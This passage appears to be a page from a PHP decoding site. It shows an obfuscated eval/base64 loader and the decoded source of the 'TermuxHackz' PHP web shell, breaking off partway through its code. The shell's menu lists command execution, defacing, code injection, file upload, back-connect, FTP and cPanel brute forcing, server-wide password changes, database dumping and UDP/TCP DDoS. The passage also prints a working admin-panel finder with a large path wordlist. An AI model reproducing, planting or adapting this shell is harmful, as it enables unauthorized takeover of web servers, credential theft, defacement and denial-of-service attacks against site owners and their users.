Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCiRoZWFkZXIgPSAnPCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiA..

Decoded Output download

?>b'<?php
$header = \'<!DOCTYPE html>
<html>
        <head>\';
        echo $header;
        ?>
        	<?php
        	$ipAddress = $_SERVER[\'REMOTE_ADDR\'];
        	$title = ("<title>$ipAddress [TermuxHackz Society Team Shell]--</title>");
        	echo $title;
        	?>
        		<?php
        		$head_body = \'
                <meta charset="UTF-8" />
                <meta name="description" content="This Shell is Designed By TermuxHackz Society Team Members" />
                <noscript>Kindly enable javascript from your browser settings for this shell to work properly XD :P </noscript>
                <meta name="viewport" content="width=device-width initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0">
                <meta http-equiv="refresh" content=""><!-- For Refreshing Page After 3600 Intervals of time -->
                <meta name="about" content="Use it where other shells dont work, but i bet it will work, it is created by TermuxHackz Society Team Members" />
                <script type="text/javascript" src="https://code.jquery.com/jquery-1.8.2.js"></script>
        <meta name="author" content="termuxhackz society" />
        <meta name="keywords" content="termuxhackz society" />
                <meta name="revisit-after" content="1800" />
                <meta name="language" content="en" />
                <meta content="general" name="rating" />
                <meta content="google" name="generator" />
                <meta content="follow,all" name="termuxhackz bot" />
                <meta content="follow,all" name="termuxhackz bot" />
                <meta content="pakistan, nigeria, south africa" name="geo.placename" />
                <meta content="index,follow,all" name="googlebot" />
                <meta http-equiv="X-UA-Compatible" content="IE-edge" />
                <link rel="shortcut icon" href="https://iili.io/YrwQ5b.jpg" />
                <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@700&display=swap" rel="stylesheet">
                <script>
                document.body.style.zoom = 1.0
                </script>
                <meta name="viewport" content="width=device-width, initial-scale=1" />
    <!-- #080510 -->  <!--  #ff7f00 --> <!-- #005695 --><meta name="search engines" content="Aeiwi,Alexa,AllTheWeb,AltaVista,AOLNetfind,Anzwers,Canada,DirectHit,EuroSeek,Excite,Overture,Go,Google,HotBot InfoMak,Kanoodle,Lycos,MachineSite,National Directory,Northern Light,SearchIt,SimpleSearch,WebsMostLinked,WebTop,What-U-Seek,AOL,Yahoo,WebCrawler,Infoseek,Excite,Magellan,LookSmart,bing,CNET,Googlebot" />
    \';
    echo $head_body;
    ?>
                <?php error_reporting(0); ?>
                	<?php
                	$style_body = \'
                <style>
                        body {
                                background: url("https://iili.io/aGKmG9.jpg");
                                background-size: cover;
                                font-family: "Roboto Mono", monospace;
                                margin: 0 auto;
                        }
                        .heading {
                                text-align: center;
                                font-size: 300%;
                                font-family: serif;
                                color: white;
                                transition: 0.8s;
                                font-weight: bold;
                                user-select: none; /* supported by Chrome and Opera */
   -webkit-user-select: none; /* Safari */
   -khtml-user-select: none; /* Konqueror HTML */
   -moz-user-select: none; /* Firefox */
   -ms-user-select: none;

                        }
                        .heading:hover {
                          color: gold;
                          font-size: 305%;
                          font-weight: bold;
                          transform: rotateY(360deg);
                        }
                        tr {
                        BORDER: dashed 1px #333;
                        color: #FFF;
                        }
                        td {
                        BORDER: dashed 1px #333;
                        color: #FFF;
                        }

                        .buttons {
                                margin-top: 2vh;
                                outline: none;
                                width: auto;
                                height: auto;
                                font-family: comic sans ms;
                                user-select: none; /* supported by Chrome and Opera */
   -webkit-user-select: none; /* Safari */
   -khtml-user-select: none; /* Konqueror HTML */
   -moz-user-select: none; /* Firefox */
   -ms-user-select: none;

                        }
                        input {
                                color: #fff;
                                text-align: center;
                                font-weight: bold;
                                font-family: monospace;
                                border-left: #080510;
                                border-radius: 5px;
                                border-right: #080510;
                                border: none;
                                background-color: #005695;
                                font-size: 110%;
                                padding: 4px;

                        }
                        input[type=submit] {
                          margin: auto;
                          outline: none;
                          border-radius: 3px;
                          font-family: monospace;
                          border: none;
                        }
                        input::placeholder {
                        color: #fff;
                        font-size: 
                        font-weight: ;ht: 900;
                        } 
                        input[type=submit]:hover {
                          box-shadow: 0 0px 12px lightgreen;
                          cursor: pointer;
                          border: 2px solid gold;
                        }
                        input[type=submit]::placeholder {
                        color: #fff;
                        font-size: 13px;
                        } 
                        select {
                                color: white;
                                text-align: center;
                                font-weight: bold;
                                font-family: cursive;
                                border-left: black;
                                border-right: black;
                                border-style: groove;
                                background-color: black;
                        }
                        option {
                                color: white;
                                text-align: center;
                                font-weight: bold;
                                font-family: cursive;
                                border-left: #080510;
                                border-right: #080510;
                                border-style: groove;
                                background-color: #080510;
                        }
                        textarea {
                                color: white;
                                font-weight: bold;
                                font-family: cursive;
                                border-left: #080510;
                                border-right: #080510;
                                border-style: groove;
                                background-color: #080510;
                        }
                        iframe {
                                color: white;
                                font-weight: bold;
                                font-family: cursive;
                                border-left: #080510;
                                border-right: #080510;
                                border-style: groove;
                                background-color: #080510;
                        }
                        a {
                                text-decoration: none;
                                color: white;
                        }
                        a:hover {
                                text-decoration: none;
                                color: teal;
                        }
                        .footer {
                                position: fixed;
                                left: 0px;
                                right: 0px;
                                bottom: 1vh;
                                color: red;
                                font-family: monospace;
                                font-size: 160%;
                                text-align: center;
                        }
                        .def {
                                font-family: cursive;
                                font-size: 100%;
                                color: white;
                        }
                        p {
                          color: lightgreen;
                          font-size: 16px;
                          margin: 0;
                          font-weight: 90;
                          text-decoration: none;
                          text-align: center;
                          font-family: monospace;
                        }
                        #button {
                          border: 2px solid blue;
                          outline: none;
                          background: transparent;
                          padding: 6px 10px;
                          border-radius: 50px;
                          cursor: pointer;
                          width: 30px;
                          height: 30px;
                          margin: 0;
                        }
                </style>
        </head>
        \';
        echo $style_body;
        ?>
        <?php
        echo \'
        <style>
        label {
          color: green;
          font-size:15px;
          margin: 0;

        }
        pre {
          color: orange;
          font-size: 13px;
          margin: 0;
          padding:3px;
        }
        #log {
          background: white;
          color: black;
          border: 1px solid red;
          outline: red;
          border-radius: 4px;
          padding: 10px 20px 10px 20px;
          outline: none;
        }
        #port {
          color: white;
        }
        #intro {
          font-size: 12px;
          font-face: cursive;
          margin: 0;
          color: #6495ed;
        }
        .cover {
          width: 30%;
          height: auto;
          margin: 0;
          font-size: 13px;
          padding: 10px 13px;
          border: 2px solid white;
          outline: none;
          background: transparent;
          font-family: sans-serif;
          text-align: center;

        }
        #long {
          width: auto;
          height:auto;
          border-left-style: none;
          border-right-style: none;
          padding: 6px;
          margin: 0;
          color: darkblue;
          outline: none;
        }
        #close {
          background: transparent;
          border: 1px solid green;
          padding: 4px 6px;
          font-family: "monteserrat";
          cursor: pointer;
          margin: 10px;
          width: 40px;
          color: red;
          height: 40px;
          transition: 0.8s;
          border-radius: 50px;
          float: right;
          position: relative;
          overflow: hidden;
          text-align: center;
          font-size: 16px;
        }
        #close:hover {
          color: #fff;
          box-shadow: 0 0px 12px lightblue;

        }
        #close::before {
          content: "";
          position: absolute;
          left: 0;
          width: 50px;
          height: 0%;
          background: green;
          z-index: -1;
          transition: 0.8s;
        }
        #ddos {
          background-color: black;
          padding: 16px 20px;
          margin: auto;
          width: 50%;
          height: auto;
          justify-content: center;
          box-shadow: 0 0px 12px #aeaeb5;
          border: 0;
          justify-items: center;
          text-align: center;
          outline: none;
          border-radius: 7px;
        }
        .red1{
          color: red;
          font-family: "Courier New", Courier, monospace;
          font-size: 50px;
          margin: 0 auto;
        }
        }
        .semi-circle {
          transform: translate(-50%, -50%);
          height: 95px;
          width: 150px;
          border-radius: 150px 150px 0 0;
          background: #112;
          color: #84fb5a;
          font-size: 17px;
          text-align: center;
          font-weight: bold;
          float: right;
          border-style: groove;
          user-select: none;
        }
        .semi-circle:hover {
          box-shadow: 0 0 6px lightblue;
          cursor: pointer;
        }
        .switch {
  position: relative;
  display: inline-block;
  width: 60px;
  height: 34px;
}

/* Hide default HTML checkbox */
.switch input {
  opacity: 0;
  width: 0;
  height: 0;
}

/* The slider */
.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ccc;
  -webkit-transition: .4s;
  transition: .4s;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
}

input:checked + .slider {
  background-color: #2196F3;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(26px);
}

/* Rounded sliders */
.slider.round {
  border-radius: 34px;
}

.slider.round:before {
  border-radius: 50%;
}
#font {
font-family: "Courier New", Courier, monospace;
font-size: 50px;
font-weight: 200;
margin: 0 auto;
} 
.floatRight{
float:right;
}
.floatRight:hover {
cursor: pointer;
}
      button {
        color: white;
                                text-align: center;
                                font-weight: bold;
                                font-family: monospace;
                                border-left: #080510;
                                border-radius: 5px;
                                border-right: #080510;
                                border: none;
                                background-color: #005695;
                                font-size: 110%;
                                padding: 4px;
                                cursor: pointer;
      }
      button:hover {
        background-color: #f7c2f9;
      }
        </style>\';
        ?>
        <body>
                <div class="heading">
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font id="font" title="ths1337 by TermuxHackz Society">TermuxHackz</font><span class="red1"> Shell</span>
                        <a href="https://termuxhackz.github.io/index.html" target="_blank"><img src="https://iili.io/YpqzWg.png" class="floatRight" width="250px" height="100px"/></a>
                </div>
                <!-- start of popup -->
                <center>
                <a href="?start_proxy">
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" value="Start Proxy "/> <i class="fa fa-gear fa-spin" style="font-size:24px"></i>
                </a>&nbsp;&nbsp;&nbsp;&nbsp;
              </center>
                <div class="buttons"><center>
                        <a href="?server_info">
                                <input type="submit" value="Server Info" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?db_info">
                        	<input type="submit" value="Db info" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;	
                        <a href="?file_manager">
                                <input type="submit" value="File Manager" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?file_creator">
                                <input type="submit" value="File Creator" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?admin_finder">
                        	<input type="submit" value="Find Admin Panel"/>
                        	</a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?cgi_shell">
                                <input type="submit" value="CGI Shell" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?php_info">
                                <input type="submit" value="Php Info" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?ftp_brute">
                          <input type="submit" value="Ftp brute" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?exec">
                                <input type="submit" value="<?php
                                if(strtolower(substr(PHP_OS,0,3)) == "win") {$os = \'win\';}else {$os = \'nix\';}if($os == \'nix\'){echo \'CMD\';} else {echo \'Terminal\'; } ?>" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?defacer">
                                <input type="submit" value="Defacer" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?mass_injector">
                                <input type="submit" value="Code Injector" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?uploader">
                                <input type="submit" value="Uploader" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?shells">
                                <input type="submit" value="Shells" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?scripts">
                                <input type="submit" value="Scripts" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?symlink">
                                <input type="submit" value="Symlinker" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?telnet_connect">
                          <input type="submit" value="Telnet Connect" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?du">
                          <input type="submit" value="Website and Username"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?wp_title">
                                <input type="submit" value="Wp Title" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?domains">
                                <input type="submit" value="Domains" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?port_scanner">
                            <input type="submit" value="Port scanner"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?scan_site">
                          <input type="submit" value="Scan site for virus">
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?bypass_cloudflare">
                          <input type="submit" value="CloudFlare"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?back_connecter">
                                <input type="submit" value="Back Connecter" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?spamming_tools">
                          <input type="submit" value="Spamming Tools" />
                        <a href="?ip_lookup">
                            <input type="submit" value="IP Lookup" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?recon">
                            <input type="submit" value="Whois scan" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?dump_db">
                          <input type="submit" value="Dump SQl Database" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?UDP_DDOS">
                            <input type="submit" value="Udp ddos" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?tcp_ddos">
                        	<input type="submit" value="Tcp ddos"/>
                        	</a>&nbsp;&nbsp;&nbsp;&nbsp;
                        	<!--Add the nbsp stuff -->
                        <a href="?decoder">
                          <input type="submit" value="Base64 Encoder and Decoder" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?archive_manager">
                          <input type="submit" value="Archive Manager"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?generate_md5hash">
                          <input type="submit" value="Generate MD5 Hash"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?wjc">
                          <input type="submit" value="CMS based admin panel pass changer"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?whole">
                          <input type="submit" value="Change User/Pass for whole Server"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?particular">
                          <input type="submit" value="Change User/Pass for particular users"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?ssh_con">
                          <input type="submit" value="SSH"/>
                          </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?ip_geolocation">
                          <input type="submit" value="Ip geolocation"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?cpanel">
                          <input type="submit" value="Auto User/Pass cpanel cracker"/>
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="?die">
                                <input type="submit" value="Remove Shell" />
                        </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <span id="long">
                          <a href="?about_us">
                            <input type="submit" value="About us"/>
                          </a>&nbsp;&nbsp;&nbsp;&nbsp;
                        </span>
                        <hr style="width: 80%; height: 20%; color: gold;"/>
                        </center>
                        <?php
if(isset($_GET["admin_finder"])) {
?>
<?php set_time_limit(0);
error_reporting(0);
$list[\'front\'] = "admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
ftp/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html
/modulo/
intranet/
intranet.php
administrador/
backend/
entrada/
entrada.php
puertaoculta.php
puertaoculta/
back.php
menu.php
editnoticia.php
editarnoticia.php
editar_noticia.php
adm.php
into.php
entrar.php
system/
system.php
back/
logout.php
js/admin/
admini/
admin7/
administr/
administ/
administra/
into/
entrar/
puerta/
entrada/
admin.php
login.htm
login.html
login/
login.php
adm/
admin/
admin/account.html
admin/login.html
admin/login.htm
admin/home.php
admin/controlpanel.html
admin/controlpanel.htm
admin/cp.php
admin/adminLogin.html
admin/adminLogin.htm
admin/admin_login.php
admin/controlpanel.php
admin/admin-login.php
admin-login.php
admin/account.php
admin/admin.php
admin.htm
admin.html
adminitem/
adminitem.php
adminitems/
adminitems.php
administrator/login.php
administrator.php
administration/
administration.php
adminlogin.php
admin_area/admin.php
admin_area/
admin_area/login.php
manager/
manager.php
letmein/
letmein.php
superuser/
superuser.php
access/
access.php
sysadm/
sysadm.php
superman/
supervisor/
panel.php
control/
control.php
member/
member.php
members/
members.php
user/
user.php
cp/
uvpanel/
manage/
manage.php
management/
management.php
signin/
signin.php
log-in/
log-in.php
log_in/
log_in.php
sign_in/
sign_in.php
sign-in/
sign-in.php
users/
users.php
accounts/
accounts.php
wp-login.php
bb-admin/login.php
bb-admin/admin.php
bb-admin/admin.html
administrator/account.php
relogin.htm
relogin.html
check.php
relogin.php
blog/wp-login.php
user/admin.php
users/admin.php
registration/
processlogin.php
checklogin.php
checkuser.php
checkadmin.php
isadmin.php
authenticate.php
authentication.php
auth.php
authuser.php
authadmin.php
cp.php
modelsearch/login.php
moderator.php
moderator/
controlpanel/
controlpanel.php
admincontrol.php
adminpanel.php
fileadmin/
fileadmin.php
sysadmin.php
admin1.php
admin1.html
admin1.htm
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
phpmyadmin/
myadmin/
ur-admin.php
ur-admin/
Server.php
Server/
wp-admin/
administr8.php
administr8/
webadmin/
webadmin.php
administratie/
admins/
admins.php
administrivia/
Database_Administration/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cpanel_file/
platz_login/
rclogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simplelogin/
loginflat/
utility_login/
showlogin/
memlogin/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
Userlogin/
login-us/
acct_login/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
power_user/
system_administration/
ss_vms_admin_sm/
bb-admin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
adm.php
admin_login.php
panel-administracion/login.php
pages/admin/admin-login.php
pages/admin/
acceso.php
admincp/login.php
admincp/
adminarea/
admincontrol/
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
modules/admin/
administrators.php
siteadmin/
siteadmin.php
adminsite/
kpanel/
vorod/
vorod.php
vorud/
vorud.php
adminpanel/
PSUser/
secure/
webmaster/
webmaster.php
autologin.php
userlogin.php
admin_area.php
cmsadmin.php
security/
usr/
root/
secret/
admin/login.php
admin/adminLogin.php
moderator.php
moderator.html
moderator/login.php
moderator/admin.php
yonetici.php
0admin/
0manager/
aadmin/
cgi-bin/login.php
login1.php
login_admin/
login_admin.php
login_out/
login_out.php
login_user.php
loginerror/
loginok/
loginsave/
loginsuper/
loginsuper.php
login.php
logout/
logout.php
secrets/
super1/
super1.php
super_index.php
super_login.php
supermanager.php
superman.php
superuser.php
supervise/
supervise/Login.php
super.php";
function template() {
    echo \'
<meta **********="Content-Type" *********"text/html; charset=utf-8" />
<style type="text/css">
h4.technique-two {
        
        background: url("http://www.alboraaq.com/jpg/CpD39032.gif") repeat top center;
        margin: 0 auto;
}
.wrapper{
    width: 1000px;
    margin: 0 auto;
}
.tube{
    padding: 10px;
}
.red{
    width: 998px;
    border: 1px solid LIME;
    background: #191919;
    color: LIME;
}
.red input{
    background: #000;
    border: 1px solid LIME;
    color: white;
    text-align: left;
    text-indent: 1%;
    font-size: 16px;
}
.blue{
    float: left;
    width: 1000px;
    border: 1px solid LIME;
    background: #191919;
    color: RED;
}
.green{
    float: left;
    width: 1000px;
    border: 1px solid LIME;
    background: #191919;
    color: LIME;
}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
    var $this = $text;
    var logbox = document.getElementById($place);
    if($replace == 0)
        document.getElementById($place).innerHTML = logbox.innerHTML+$this;
    else
        document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<center><pre style="color: lightblue">
   _____       .___      .__       ___________.__            .___          
  /  _  \    __| _/_____ |__| ____ \_   _____/|__| ____    __| _/_________ 
 /  /_\  \  / __ |/     \|  |/    \ |    __)  |  |/    \  / __ |/ __ \_  _ 
/    |    \/ /_/ |  Y Y  \  |   |  \|     \   |  |   |  \/ /_/ \  ___/|  |
        \/      \/     \/        \/     \/            \/      \/    \/ 
                                            MADE BY TERMUXHACKZ SOCIETY TEAM
                
</pre></center>   
</head>
<body>
<h4 class="technique-two">     
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form">
<font size="5">Enter the url of page here:</font><br /><input type="url" placeholder="http://targetsite.com" name="xploit_url" value="\' . $_POST[\'xploit_url\'] . \'" style="width: 100%; height: 30px;" /><br /><br />
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Scanned Panels: <span id="verified">0</span> / <span id="total">0</span><br />
Found Panels: <br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
<center>Admin page Finder by TermuxHackz Society Team <br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">\';
}
function show($msg, $br = 1, $stop = 0, $place = \'logbox\', $replace = 0) {
    if ($br == 1) $msg.= "<br />";
    echo "<script type=\"text/javascript\">insertcode(\'" . $msg . "\', \'" . $place . "\', \'" . $replace . "\');</script>";
    if ($stop == 1) exit;
    @flush();
    @ob_flush();
}
function check($x, $front = 0) {
    global $_POST, $site, $false;
    if ($front == 0) $t = $site . $x;
    else $t = \'http://\' . $x . \'.\' . $site . \'/\';
    $headers = get_headers($t);
    if (!eregi(\'200\', $headers[0])) return 0;
    $data = @file_get_contents($t);
    if ($_POST[\'xploit_404string\'] == "") if ($data == $false) return 0;
    if ($_POST[\'xploit_404string\'] != "") if (strpos($data, $_POST[\'xploit_404string\'])) return 0;
    return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if (!isset($_POST[\'xploit_url\'])) die;
if ($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site) - 1] != "/") $site.= "/";
if ($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site . "d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes) + count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach ($pathes as $path) {
    show(\'Analyzing \' . $site . $path . \' : \', 0, 0, \'logbox\', 0);
    $verificate++;
    show($verificate, 0, 0, \'verified\', 1);
    if (check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
    else {
        show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
        show(\'<a href="\' . $site . $path . \'">\' . $site . $path . \'</a>\', 1, 0, \'rightcol\', 0);
    }
}
preg_match("/\/\/(.*?)\//i", $site, $xx);
$site = $xx[1];
if (substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach ($frontpathes as $frontpath) {
    show(\'Analyzing http://\' . $frontpath . \'.\' . $site . \'/ : \', 0, 0, \'logbox\', 0);
    $verificate++;
    show($verificate, 0, 0, \'verified\', 1);
    if (check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
    else {
